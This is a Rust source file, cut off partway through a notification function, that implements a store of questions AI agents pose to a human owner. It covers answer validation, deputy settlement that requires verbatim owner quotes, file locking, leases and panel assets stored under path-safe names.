1use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43pub const SCHEMA: u32 = 9;
62
63const POLL: Duration = Duration::from_secs(3);
72
73const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
84
85const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
91
92const WAIT_SLICE: Duration = Duration::from_secs(240);
116
117pub const LEASE_TTL: Duration = Duration::from_secs(90);
127
128const LOCK_STALE: Duration = Duration::from_secs(10);
131
132pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
143
144pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
153
154const PANEL_DIR: &str = ".panel";
160
161const PANEL_HTML: &str = "index.html";
163
164const PANEL_TMP: &str = ".panel.tmp";
166
167pub fn valid_asset_name(name: &str) -> bool {
184 if name.is_empty() || name.len() > 64 || name.contains("..") {
185 return false;
186 }
187 let mut chars = name.chars();
188 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
189 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
190}
191
192#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
194#[serde(rename_all = "lowercase")]
195pub enum QuestionStatus {
196 Open,
198 Answered,
200 Abandoned,
204}
205
206impl QuestionStatus {
207 pub fn open(self) -> bool {
209 matches!(self, Self::Open)
210 }
211
212 pub fn as_str(self) -> &'static str {
214 match self {
215 Self::Open => "open",
216 Self::Answered => "answered",
217 Self::Abandoned => "abandoned",
218 }
219 }
220}
221
222#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
229#[serde(rename_all = "lowercase")]
230pub enum Answer {
231 Choice(String),
233 Text(String),
235}
236
237#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
245#[serde(tag = "do", rename_all = "lowercase")]
246pub enum ChoiceAction {
247 Resume {
249 run: String,
251 },
252 Requeue,
254 Done,
256}
257
258impl ChoiceAction {
259 pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
264 let Some((label, verb)) = spec.rsplit_once('=') else {
265 bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|done>`");
266 };
267 let label = label.trim();
268 if label.is_empty() {
269 bail!("`--action {spec}` names no choice before `=`");
270 }
271 let verb = verb.trim();
272 let action = match verb.split_once(':') {
273 Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
274 run: run.trim().to_owned(),
275 },
276 None if verb == "resume" => {
277 if default_run.is_empty() {
278 bail!("`--action {spec}` names no run and MAGI_RUN is not set");
279 }
280 Self::Resume {
281 run: default_run.to_owned(),
282 }
283 }
284 None if verb == "requeue" => Self::Requeue,
285 None if verb == "done" => Self::Done,
286 _ => bail!(
287 "unknown action `{verb}` in `--action {spec}`; \
288 use resume[:<run>], requeue or done"
289 ),
290 };
291 Ok((label.to_owned(), action))
292 }
293
294 pub fn describe(&self) -> String {
296 match self {
297 Self::Resume { run } => format!("resume run {}", short(run)),
298 Self::Requeue => "requeue the task".to_owned(),
299 Self::Done => "mark the task done".to_owned(),
300 }
301 }
302}
303
304pub fn parse_actions(
307 specs: &[String],
308 choices: &[String],
309 default_run: &str,
310) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
311 let mut out = std::collections::BTreeMap::new();
312 for spec in specs {
313 let (label, action) = ChoiceAction::parse(spec, default_run)?;
314 if !choices.contains(&label) {
315 bail!(
316 "`--action {spec}`: `{label}` is not one of the --choice values ({})",
317 choices.join(", ")
318 );
319 }
320 if out.insert(label.clone(), action).is_some() {
321 bail!("more than one --action for `{label}`");
322 }
323 }
324 Ok(out)
325}
326
327#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
338#[serde(rename_all = "lowercase")]
339pub enum Who {
340 Operator,
342 Agent,
345}
346
347#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
355#[serde(deny_unknown_fields)]
356pub struct Turn {
357 pub who: Who,
359 pub body: String,
361 pub at: Timestamp,
363 #[serde(default, skip_serializing_if = "Option::is_none")]
368 pub note: Option<String>,
369}
370
371#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
373#[serde(rename_all = "lowercase")]
374pub enum WaiterKind {
375 Asker,
377 Daemon,
380 Deputy,
384}
385
386#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
398pub struct Deputy {
399 pub brief: String,
402 #[serde(default)]
404 pub agent: String,
405 #[serde(default)]
407 pub seat: Option<crate::agent::SeatState>,
408 #[serde(default)]
411 pub starts: u32,
412}
413
414impl Deputy {
415 pub fn new(brief: String) -> Self {
417 Self {
418 brief,
419 agent: String::new(),
420 seat: None,
421 starts: 0,
422 }
423 }
424}
425
426pub fn deputy_seat_key(id: &str) -> String {
428 format!("deputy-{}", short(id))
429}
430
431#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
436pub struct Waiter {
437 pub kind: WaiterKind,
439 pub since: Timestamp,
441}
442
443#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
452pub struct Lease {
453 pub kind: WaiterKind,
455 pub pid: u32,
457 pub beat_at: Timestamp,
459}
460
461impl Lease {
462 pub fn fresh(&self, now: Timestamp) -> bool {
464 now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
465 }
466}
467
468#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
470#[serde(deny_unknown_fields)]
471pub struct Question {
472 pub schema: u32,
474 pub id: String,
477 pub run: String,
479 pub node: String,
481 pub seat: String,
484 pub summary: String,
487 pub detail: String,
490 #[serde(default, skip_serializing_if = "Option::is_none")]
492 pub posting_comparison: Option<crate::github_text::PostingComparison>,
493 pub choices: Vec<String>,
497 #[serde(default)]
501 pub actions: std::collections::BTreeMap<String, ChoiceAction>,
502 #[serde(default)]
509 pub panel: bool,
510 #[serde(default)]
517 pub assets: Vec<String>,
518 pub status: QuestionStatus,
520 pub asked_at: Timestamp,
522 pub answered_at: Option<Timestamp>,
524 pub answer: Option<Answer>,
526 #[serde(default)]
535 pub thread: Vec<Turn>,
536 #[serde(default)]
551 pub answer_timeout: u64,
552 #[serde(default)]
558 pub cwd: Option<String>,
559 #[serde(default)]
561 pub waiter: Option<Waiter>,
562 #[serde(default)]
566 pub delivered_turns: usize,
567 #[serde(default)]
570 pub answer_delivered: bool,
571 #[serde(default)]
574 pub deputy: Option<Deputy>,
575 #[serde(default)]
579 pub consult: Option<ChatConsult>,
580}
581
582#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
584pub struct ChatConsult {
585 pub talk: String,
587 pub at: Timestamp,
589}
590
591impl Question {
592 pub fn run_names_task(&self) -> bool {
595 matches!(
596 self.node.as_str(),
597 crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
598 )
599 }
600
601 pub fn new(
604 run: String,
605 node: String,
606 seat: String,
607 summary: String,
608 detail: String,
609 choices: Vec<String>,
610 ) -> Self {
611 Self {
612 schema: SCHEMA,
613 id: new_id(),
614 run,
615 node,
616 seat,
617 summary,
618 detail,
619 posting_comparison: None,
620 choices,
621 actions: std::collections::BTreeMap::new(),
622 panel: false,
623 assets: Vec::new(),
624 status: QuestionStatus::Open,
625 asked_at: Timestamp::now(),
626 answered_at: None,
627 answer: None,
628 thread: Vec::new(),
629 answer_timeout: 0,
630 cwd: None,
631 waiter: None,
632 delivered_turns: 0,
633 answer_delivered: false,
634 deputy: None,
635 consult: None,
636 }
637 }
638
639 pub fn short(&self) -> &str {
641 short(&self.id)
642 }
643
644 pub fn chosen_action(&self) -> Option<&ChoiceAction> {
647 match (&self.status, &self.answer) {
648 (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
649 _ => None,
650 }
651 }
652
653 pub fn free_text(&self) -> bool {
655 self.choices.is_empty()
656 }
657
658 pub fn answer(&mut self, answer: Answer) -> Result<()> {
668 match self.status {
669 QuestionStatus::Answered => bail!(
670 "question {} was already answered; the run has moved on and a \
671 second answer would be a decision nobody acted on",
672 self.short()
673 ),
674 QuestionStatus::Abandoned => bail!(
675 "question {} was abandoned and the run behind it is gone",
676 self.short()
677 ),
678 QuestionStatus::Open => {}
679 }
680 let body = match &answer {
681 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
682 };
683 if body.trim().is_empty() {
684 bail!(
685 "question {} needs an answer; an empty one tells the agent \
686 nothing and it would guess anyway",
687 self.short()
688 );
689 }
690 match &answer {
691 Answer::Choice(c) if self.free_text() => bail!(
692 "question {} asks for free text, so `{c}` cannot be a choice \
693 it offered",
694 self.short()
695 ),
696 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
697 "`{c}` is not one of the choices question {} offers: {}",
698 self.short(),
699 self.choices.join(", ")
700 ),
701 Answer::Text(_) if !self.free_text() => bail!(
702 "question {} is multiple choice; answer with one of: {}",
703 self.short(),
704 self.choices.join(", ")
705 ),
706 _ => {}
707 }
708 self.answered_at = Some(Timestamp::now());
709 self.answer = Some(answer);
710 self.status = QuestionStatus::Answered;
711 Ok(())
712 }
713
714 pub fn abandon(&mut self, why: impl Into<String>) {
726 if !self.status.open() {
727 return;
728 }
729 self.status = QuestionStatus::Abandoned;
730 let why = why.into();
731 let why = why.trim();
732 if why.is_empty() {
733 return;
734 }
735 if !self.detail.is_empty() {
736 self.detail.push('\n');
737 }
738 self.detail.push_str("\n_Abandoned: ");
739 self.detail.push_str(why);
740 self.detail.push_str("._\n");
741 }
742
743 pub fn resolution(&self) -> Option<String> {
750 match (self.status, &self.answer) {
751 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
752 Some(a.clone())
753 }
754 _ => None,
755 }
756 }
757
758 pub fn settle_by_deputy(
769 &mut self,
770 seat: &str,
771 label: &str,
772 quote: &str,
773 note: Option<&str>,
774 ) -> Result<()> {
775 let Some(deputy) = &self.deputy else {
776 bail!("question {} has no deputy", self.short());
777 };
778 let own = deputy.seat.as_ref().map(|s| s.key.as_str());
779 if own != Some(seat) {
780 bail!("only the deputy of question {} may settle it", self.short());
781 }
782 if !self.choices.iter().any(|c| c == label) {
783 bail!(
784 "`{label}` is not one of the choices offered on question {}",
785 self.short()
786 );
787 }
788 let quote = quote.trim();
789 if quote.is_empty()
790 || !self
791 .thread
792 .iter()
793 .any(|t| t.who == Who::Operator && t.body.contains(quote))
794 {
795 bail!(
796 "the quote is not something the owner said on question {}",
797 self.short()
798 );
799 }
800 let latest = self
803 .thread
804 .iter()
805 .rev()
806 .find(|t| t.who == Who::Operator)
807 .map(|t| t.body.trim());
808 if crate::deputy::merge_gated(self) {
809 let ok = if label == crate::land::APPROVE {
815 latest.is_some_and(|m| m.contains(quote))
816 } else if label == crate::land::HOLD {
817 latest.is_some_and(|m| {
818 quote.eq_ignore_ascii_case(label) && m.eq_ignore_ascii_case(label)
819 })
820 } else {
821 false
822 };
823 if !ok {
824 bail!(
825 "on a merge approval `{label}` settles it only when the quote is a \
826 verbatim part of the owner's latest message ({}); if the wording is \
827 doubtful, ask what they mean with `--thread` instead",
828 if label == crate::land::HOLD {
829 "for `hold`, the whole message"
830 } else {
831 "the quote must be the instruction itself"
832 }
833 );
834 }
835 } else if crate::deputy::destructive(self, label)
836 && !latest.is_some_and(|m| crate::land::unhedged(m, quote))
837 {
838 bail!(
839 "`{label}` cannot be undone; it settles question {} only when the owner's \
840 latest message clearly says so, unhedged and quoted verbatim (no maybe / if \
841 / not / question); ask what they mean with `--thread` instead",
842 self.short()
843 );
844 }
845 self.thread.push(Turn {
846 who: Who::Agent,
847 body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
848 at: Timestamp::now(),
849 note: note
850 .map(str::trim)
851 .filter(|n| !n.is_empty())
852 .map(str::to_owned),
853 });
854 self.delivered_turns = self.thread.len();
855 self.answer(Answer::Choice(label.to_owned()))
856 }
857
858 pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
869 match self.status {
870 QuestionStatus::Answered => bail!(
871 "question {} was already answered; there is nothing left to \
872 discuss",
873 self.short()
874 ),
875 QuestionStatus::Abandoned => bail!(
876 "question {} was abandoned and the run behind it is gone",
877 self.short()
878 ),
879 QuestionStatus::Open => {}
880 }
881 let body = body.into();
882 if body.trim().is_empty() {
883 bail!("a message to question {} cannot be empty", self.short());
884 }
885 self.thread.push(Turn {
886 who: Who::Operator,
887 body,
888 at: Timestamp::now(),
889 note: None,
890 });
891 Ok(())
892 }
893
894 pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
904 match self.status {
905 QuestionStatus::Answered => bail!(
906 "question {} was already answered; replying now would not \
907 reach anyone",
908 self.short()
909 ),
910 QuestionStatus::Abandoned => bail!(
911 "question {} was abandoned and the run behind it is gone",
912 self.short()
913 ),
914 QuestionStatus::Open => {}
915 }
916 let body = body.into();
917 if body.trim().is_empty() {
918 bail!("a reply to question {} cannot be empty", self.short());
919 }
920 self.actions.retain(|label, _| choices.contains(label));
922 self.choices = choices;
923 let unread = self.unread_from_owner().is_some();
924 self.thread.push(Turn {
925 who: Who::Agent,
926 body,
927 at: Timestamp::now(),
928 note: None,
929 });
930 if !unread {
934 self.delivered_turns = self.thread.len();
935 }
936 Ok(())
937 }
938
939 pub fn unread_from_owner(&self) -> Option<String> {
946 if !self.status.open() {
947 return None;
948 }
949 let said = self.undelivered_owner_turns();
950 (!said.is_empty()).then(|| said.join("\n\n"))
951 }
952
953 pub fn undelivered_owner_turns(&self) -> Vec<&str> {
959 let from = self.delivered_turns.min(self.thread.len());
960 self.thread[from..]
961 .iter()
962 .filter(|t| t.who == Who::Operator)
963 .map(|t| t.body.as_str())
964 .collect()
965 }
966
967 pub fn last_activity(&self) -> i64 {
971 self.thread
972 .iter()
973 .map(|t| t.at.as_second())
974 .max()
975 .unwrap_or(0)
976 .max(self.asked_at.as_second())
977 }
978
979 pub fn waiting_on_agent(&self) -> bool {
988 self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
989 }
990
991 fn should_notify(&self, now: Timestamp) -> bool {
999 let Some(last) = self
1000 .thread
1001 .iter()
1002 .rev()
1003 .find(|t| t.who == Who::Operator)
1004 .map(|t| t.at)
1005 else {
1006 return true;
1007 };
1008 now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1009 }
1010}
1011
1012#[derive(Debug, Clone)]
1014pub struct Questions {
1015 root: PathBuf,
1016}
1017
1018impl Questions {
1019 pub fn open() -> Self {
1021 Self::at(crate::run::home().join("questions"))
1022 }
1023
1024 pub fn at(root: PathBuf) -> Self {
1027 Self { root }
1028 }
1029
1030 pub fn root(&self) -> &Path {
1032 &self.root
1033 }
1034
1035 pub fn path_of(&self, id: &str) -> PathBuf {
1037 self.root.join(format!("{id}.json"))
1038 }
1039
1040 pub fn panel_dir(&self, id: &str) -> PathBuf {
1042 self.root.join(format!("{id}{PANEL_DIR}"))
1043 }
1044
1045 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1069 if !valid_asset_name(&q.id) {
1070 bail!(
1071 "question id `{}` is not a name magi will build a panel path from",
1072 q.id
1073 );
1074 }
1075 if html.trim().is_empty() {
1076 bail!(
1077 "question {} was handed an empty panel; an empty frame reads to \
1078 the owner as \"the agent had nothing to say\", which is a lie",
1079 q.short()
1080 );
1081 }
1082
1083 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1086 for src in assets {
1087 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1088 if !valid_asset_name(name) {
1089 bail!(
1090 "panel asset `{}` cannot be stored: a panel file name must \
1091 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1092 src.display()
1093 );
1094 }
1095 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1096 bail!(
1097 "two panel assets are both named `{name}` - {} and {} - and \
1098 the panel can only show one of them; rename one at the source",
1099 first.display(),
1100 src.display()
1101 );
1102 }
1103 named.push((name.to_owned(), src.as_path()));
1104 }
1105
1106 let mut total = html.len() as u64;
1107 for (_, src) in &named {
1108 let meta = std::fs::metadata(src)
1109 .with_context(|| format!("stat panel asset {}", src.display()))?;
1110 if !meta.is_file() {
1111 bail!(
1112 "panel asset `{}` is not a file; a panel is html plus files \
1113 copied beside it",
1114 src.display()
1115 );
1116 }
1117 total = total.saturating_add(meta.len());
1118 }
1119 if total > PANEL_MAX_BYTES {
1120 bail!(
1121 "panel for question {} is {total} bytes, over magi's cap of \
1122 {PANEL_MAX_BYTES} bytes; nothing was written",
1123 q.short()
1124 );
1125 }
1126
1127 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1128 let dir = self.panel_dir(&q.id);
1129 std::fs::create_dir_all(&self.root)
1130 .with_context(|| format!("create {}", self.root.display()))?;
1131 clear_dir(&tmp)?;
1132 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1133 if let Err(e) = fill_panel(&tmp, html, &named) {
1134 let _ = std::fs::remove_dir_all(&tmp);
1137 return Err(e);
1138 }
1139 clear_dir(&dir)?;
1140 std::fs::rename(&tmp, &dir)
1141 .with_context(|| format!("move panel into {}", dir.display()))?;
1142
1143 q.panel = true;
1144 q.assets = named.into_iter().map(|(n, _)| n).collect();
1145 q.assets.sort_unstable();
1146 Ok(())
1147 }
1148
1149 pub fn panel_html(&self, id: &str) -> Option<String> {
1155 if !valid_asset_name(id) {
1156 return None;
1157 }
1158 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1159 }
1160
1161 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1172 if !valid_asset_name(name) {
1173 bail!(
1174 "`{name}` is not a panel file name; it must match \
1175 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1176 );
1177 }
1178 if !valid_asset_name(id) {
1179 return Ok(None);
1180 }
1181 let dir = self.panel_dir(id);
1182 if !dir.is_dir() {
1183 return Ok(None);
1184 }
1185 let path = dir.join(name);
1186 match std::fs::read(&path) {
1187 Ok(bytes) => Ok(Some(bytes)),
1188 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1189 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1190 }
1191 }
1192
1193 pub fn drop_panel(&self, id: &str) -> Result<()> {
1202 if !valid_asset_name(id) {
1203 bail!("question id `{id}` is not a name magi will build a panel path from");
1204 }
1205 clear_dir(&self.panel_dir(id))?;
1206 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1207 }
1208
1209 pub fn lease_path(&self, id: &str) -> PathBuf {
1211 self.root.join(format!("{id}.lease"))
1212 }
1213
1214 pub fn read_lease(&self, id: &str) -> Option<Lease> {
1216 let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1217 serde_json::from_str(&body).ok()
1218 }
1219
1220 pub fn beat(&self, id: &str, kind: WaiterKind) {
1227 let lease = Lease {
1228 kind,
1229 pid: std::process::id(),
1230 beat_at: Timestamp::now(),
1231 };
1232 let path = self.lease_path(id);
1233 let tmp = path.with_extension("lease.tmp");
1234 let written = std::fs::create_dir_all(&self.root)
1235 .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1236 .and_then(|()| std::fs::rename(&tmp, &path));
1237 if let Err(e) = written {
1238 tracing::debug!("could not beat the lease on question {id}: {e}");
1239 }
1240 }
1241
1242 pub fn drop_lease(&self, id: &str) {
1244 let _ = std::fs::remove_file(self.lease_path(id));
1245 }
1246
1247 pub fn update<T>(
1258 &self,
1259 id: &str,
1260 f: impl FnOnce(&mut Question) -> Result<T>,
1261 ) -> Result<(Question, T)> {
1262 std::fs::create_dir_all(&self.root)
1263 .with_context(|| format!("create {}", self.root.display()))?;
1264 let lock = self.root.join(format!("{id}.lock"));
1265 let started = std::time::Instant::now();
1266 loop {
1267 match std::fs::OpenOptions::new()
1268 .write(true)
1269 .create_new(true)
1270 .open(&lock)
1271 {
1272 Ok(_) => break,
1273 Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1274 let stale = std::fs::metadata(&lock)
1275 .and_then(|m| m.modified())
1276 .ok()
1277 .and_then(|t| t.elapsed().ok())
1278 .is_some_and(|age| age > LOCK_STALE);
1279 if stale {
1280 let _ = std::fs::remove_file(&lock);
1281 } else if started.elapsed() > LOCK_STALE {
1282 bail!("could not lock question {id}");
1283 } else {
1284 std::thread::sleep(Duration::from_millis(15));
1285 }
1286 }
1287 Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1288 }
1289 }
1290 struct Unlock(PathBuf);
1291 impl Drop for Unlock {
1292 fn drop(&mut self) {
1293 let _ = std::fs::remove_file(&self.0);
1294 }
1295 }
1296 let _guard = Unlock(lock);
1297 let mut q = read_path(&self.path_of(id))?;
1298 let out = f(&mut q)?;
1299 self.put(&mut q)?;
1300 Ok((q, out))
1301 }
1302
1303 pub fn put(&self, q: &mut Question) -> Result<()> {
1307 std::fs::create_dir_all(&self.root)
1308 .with_context(|| format!("create {}", self.root.display()))?;
1309 let body = serde_json::to_string_pretty(q).context("serialize question")?;
1310 let path = self.path_of(&q.id);
1311 let tmp = path.with_extension("json.tmp");
1312 let is_new = !path.exists();
1313 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1314 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1315 if is_new
1318 && q.status.open()
1319 && q.node != crate::bump::NOTICE_NODE
1320 && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1321 {
1322 crate::notices::quiet_for(home, q);
1323 }
1324 Ok(())
1325 }
1326
1327 pub fn get(&self, id: &str) -> Result<Question> {
1329 let resolved = self.resolve_id(id)?;
1330 read_path(&self.path_of(&resolved))
1331 }
1332
1333 pub fn list(&self) -> Vec<Question> {
1341 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1342 .into_iter()
1343 .flatten()
1344 .flatten()
1345 .map(|e| e.path())
1346 .filter(|p| p.extension().is_some_and(|x| x == "json"))
1347 .filter_map(|p| read_path(&p).ok())
1348 .collect();
1349 all.sort_unstable_by(|a, b| {
1350 let rank = |q: &Question| u8::from(!q.status.open());
1351 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1352 });
1353 all
1354 }
1355
1356 pub fn open_for(&self, run: &str) -> Vec<Question> {
1362 self.list()
1363 .into_iter()
1364 .filter(|q| q.status.open() && q.run == run)
1365 .collect()
1366 }
1367
1368 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1381 let mut abandoned = 0;
1382 for mut q in self.open_for(run) {
1383 q.abandon(why);
1384 self.put(&mut q)?;
1385 abandoned += 1;
1386 }
1387 Ok(abandoned)
1388 }
1389
1390 pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1414 if status.resumable() {
1415 return Ok(0);
1416 }
1417 let why = format!(
1418 "run {run} {}, so nothing is waiting for this answer",
1419 status.as_str()
1420 );
1421 let mut abandoned = 0;
1426 for mut q in self.open_for(run) {
1427 if q.node == crate::bump::NOTICE_NODE {
1428 continue;
1429 }
1430 q.abandon(&why);
1431 self.put(&mut q)?;
1432 abandoned += 1;
1433 }
1434 Ok(abandoned)
1435 }
1436
1437 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1440 if self.path_of(prefix).is_file() {
1441 return Ok(prefix.to_owned());
1442 }
1443 let hits: Vec<String> = self
1444 .list()
1445 .into_iter()
1446 .map(|q| q.id)
1447 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix))
1448 .collect();
1449 match hits.len() {
1450 1 => Ok(hits.into_iter().next().expect("exactly one hit")),
1451 0 => bail!("no question matches `{prefix}`"),
1452 _ => bail!(
1453 "`{prefix}` matches {} questions: {}",
1454 hits.len(),
1455 hits.join(", ")
1456 ),
1457 }
1458 }
1459
1460 pub fn revision(&self) -> u64 {
1464 std::fs::read_dir(&self.root)
1465 .into_iter()
1466 .flatten()
1467 .flatten()
1468 .filter_map(|e| e.metadata().ok())
1469 .filter_map(|m| m.modified().ok())
1470 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1471 .map(|d| d.as_millis() as u64)
1472 .max()
1473 .unwrap_or(0)
1474 }
1475
1476 pub fn count_open(&self) -> usize {
1482 self.list().iter().filter(|q| q.status.open()).count()
1483 }
1484
1485 pub fn count_needs_owner(&self) -> usize {
1494 self.list()
1495 .iter()
1496 .filter(|q| q.status.open() && !q.waiting_on_agent())
1497 .count()
1498 }
1499}
1500
1501#[derive(Debug, Clone, PartialEq, Eq)]
1503pub enum Wait {
1504 Answered(String),
1506 Replied(String),
1511 Pending,
1518 Abandoned,
1523}
1524
1525pub async fn ask_and_wait(
1532 q: &mut Question,
1533 store: &Questions,
1534 notify: &config::Notify,
1535 timeout: Duration,
1536) -> Result<Wait> {
1537 wait_for_owner(q, store, notify, timeout, POLL).await
1538}
1539
1540pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1555 wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1556}
1557
1558async fn wait_for_owner(
1564 q: &mut Question,
1565 store: &Questions,
1566 cfg: &config::Notify,
1567 timeout: Duration,
1568 poll: Duration,
1569) -> Result<Wait> {
1570 if !store.path_of(&q.id).is_file() {
1574 store.put(q).context("file the question")?;
1575 }
1576 if q.should_notify(Timestamp::now()) {
1577 if let Err(e) = notify(cfg, q).await {
1578 tracing::warn!(
1583 "could not notify about question {}: {e:#} - the web UI is the \
1584 only surface for it now",
1585 q.short()
1586 );
1587 }
1588 }
1589 tracing::info!(
1590 "question {} from {} is waiting for you: {}",
1591 q.short(),
1592 q.seat,
1593 q.summary
1594 );
1595 wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1596}
1597
1598fn hold(store: &Questions, id: &str) {
1600 store.beat(id, WaiterKind::Asker);
1601 let took = store.update(id, |q| {
1602 if q.status.open() {
1603 q.waiter = Some(Waiter {
1604 kind: WaiterKind::Asker,
1605 since: Timestamp::now(),
1606 });
1607 }
1608 Ok(())
1609 });
1610 if let Err(e) = took {
1611 tracing::debug!("could not note the wait on question {id}: {e:#}");
1612 }
1613}
1614
1615pub fn hand_over(store: &Questions, q: &mut Question) {
1623 let done = store.update(&q.id, |r| {
1624 r.delivered_turns = r.delivered_turns.max(q.thread.len());
1625 if r.status == QuestionStatus::Answered {
1626 r.answer_delivered = true;
1627 }
1628 r.waiter = None;
1629 Ok(())
1630 });
1631 match done {
1632 Ok((fresh, ())) => *q = fresh,
1633 Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1634 }
1635}
1636
1637pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1641 let says = q.undelivered_owner_turns();
1642 if says.is_empty() {
1643 return answer.to_owned();
1644 }
1645 format!(
1646 "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1647 says.join("\n\n")
1648 )
1649}
1650
1651pub fn deliver_answer(
1654 store: &Questions,
1655 q: &mut Question,
1656 answer: &str,
1657 out: &mut impl std::io::Write,
1658) -> std::io::Result<()> {
1659 writeln!(out, "{}", answer_for_agent(q, answer))?;
1660 out.flush()?;
1661 hand_over(store, q);
1662 Ok(())
1663}
1664
1665async fn wait_loop(
1675 q: &mut Question,
1676 store: &Questions,
1677 timeout: Duration,
1678 slice: Duration,
1679 poll: Duration,
1680) -> Result<Wait> {
1681 if let Some(said) = q.unread_from_owner() {
1691 return Ok(Wait::Replied(said));
1692 }
1693 hold(store, &q.id);
1694
1695 let bounded = timeout.min(slice);
1696 let is_the_real_deadline = bounded >= timeout;
1697 let deadline = tokio::time::Instant::now() + bounded;
1698 loop {
1699 let now = tokio::time::Instant::now();
1700 if now >= deadline {
1701 if !is_the_real_deadline {
1702 return Ok(Wait::Pending);
1706 }
1707 let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1708 let (fresh, unread) = store
1712 .update(&q.id, |r| {
1713 let unread = r.unread_from_owner();
1714 if unread.is_none() {
1715 r.abandon(&why);
1716 r.waiter = None;
1717 }
1718 Ok(unread)
1719 })
1720 .context("record the abandoned question")?;
1721 *q = fresh;
1722 if let Some(said) = unread {
1723 return Ok(Wait::Replied(said));
1724 }
1725 tracing::warn!(
1726 "question {} went unanswered for {}s; the run parks and the \
1727 question stays as the record of it",
1728 q.short(),
1729 timeout.as_secs()
1730 );
1731 return Ok(Wait::Abandoned);
1732 }
1733 tokio::time::sleep(poll.min(deadline - now)).await;
1734 store.beat(&q.id, WaiterKind::Asker);
1735 match store.get(&q.id) {
1736 Ok(fresh) if !fresh.status.open() => {
1737 *q = fresh;
1741 return Ok(match q.resolution() {
1742 Some(a) => Wait::Answered(a),
1743 None => Wait::Abandoned,
1746 });
1747 }
1748 Ok(fresh) => {
1749 if let Some(said) = fresh.unread_from_owner() {
1750 *q = fresh;
1751 return Ok(Wait::Replied(said));
1752 }
1753 }
1756 Err(e) => {
1757 tracing::debug!("could not re-read question {}: {e:#}", q.short());
1761 }
1762 }
1763 }
1764}
1765
1766pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
1777 notify_text(cmd, &q.run, &q.summary).await
1778}
1779
1780pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
1783 let Some((program, args)) = cmd.command.split_first() else {
1784 return Ok(());
1786 };
1787 let url = web_url();
1788 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
1789 tracing::warn!(
